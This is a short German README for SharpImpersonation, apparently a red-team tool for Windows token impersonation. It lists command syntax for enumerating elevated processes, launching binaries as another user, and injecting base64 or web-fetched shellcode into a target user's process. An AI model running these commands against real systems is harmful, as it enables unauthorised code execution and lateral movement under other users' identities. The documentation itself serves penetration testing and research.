SharpImpersonation

Dies war ein Learning-by-Doing-Projekt von mir. Es werden bekannte Techniken verwendet, um nur ein weiteres Impersonation-Tool mit einigen Verbesserungen im Vergleich zu anderen öffentlichen Tools zu erstellen. Der Code stammt von:

• https://github.com/0xbadjuju/Tokenvator

Ein Blogbeitrag zur Einführung findet sich hier:

• https://s3cur3th1ssh1t.github.io/SharpImpersonation-Introduction/

Benutzerprozesse auflisten

PS > PS C:\temp> SharpImpersonation.exe list

Nur erhöhte Prozesse auflisten

PS > PS C:\temp> SharpImpersonation.exe list elevated

Den ersten Prozess des Zielbenutzers imitieren, um eine neue Binärdatei zu starten

PS > PS C:\temp> SharpImpersonation.exe user:<Benutzer> binary:<Binärdatei-Pfad>

Base64-kodierten Shellcode in den ersten Prozess des Zielbenutzers injizieren

PS > PS C:\temp> SharpImpersonation.exe user:<Benutzer> shellcode:<base64shellcode>

Shellcode, der von einem Webserver geladen wurde, in den ersten Prozess des Zielbenutzers injizieren

PS > PS C:\temp> SharpImpersonation.exe user:<Benutzer> shellcode:<URL>

Den Zielbenutzer über ImpersonateLoggedOnUser für die aktuelle Sitzung imitieren

PS > PS C:\temp> SharpImpersonation.exe user:<Benutzer> technique:ImpersonateLoggedOnuser